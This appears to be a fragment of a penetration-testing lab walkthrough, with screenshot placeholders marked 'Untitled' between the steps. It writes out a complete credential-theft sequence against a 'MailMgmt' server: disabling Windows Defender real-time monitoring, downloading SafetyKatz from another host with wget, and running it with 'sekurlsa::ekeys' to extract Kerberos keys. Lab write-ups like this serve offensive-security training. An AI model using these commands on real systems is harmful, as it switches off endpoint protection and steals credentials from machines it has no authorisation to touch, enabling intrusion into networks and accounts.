Untitled

Now let’s Login to the MailMgmt Server

Untitled

Now Let’s Disable the windows defender

Set-MpPreference -DisableRealtimeMonitoring $true

Untitled

Now transferring SafetyKatz

wget -Uri <http://192.168.100.36/SafetyKatz.exe> -OutFile SafetyKatz.exe 

Untitled

Now let’s extract the credentials

.\\SafetyKatz.exe "sekurlsa::ekeys" "exit"

Untitled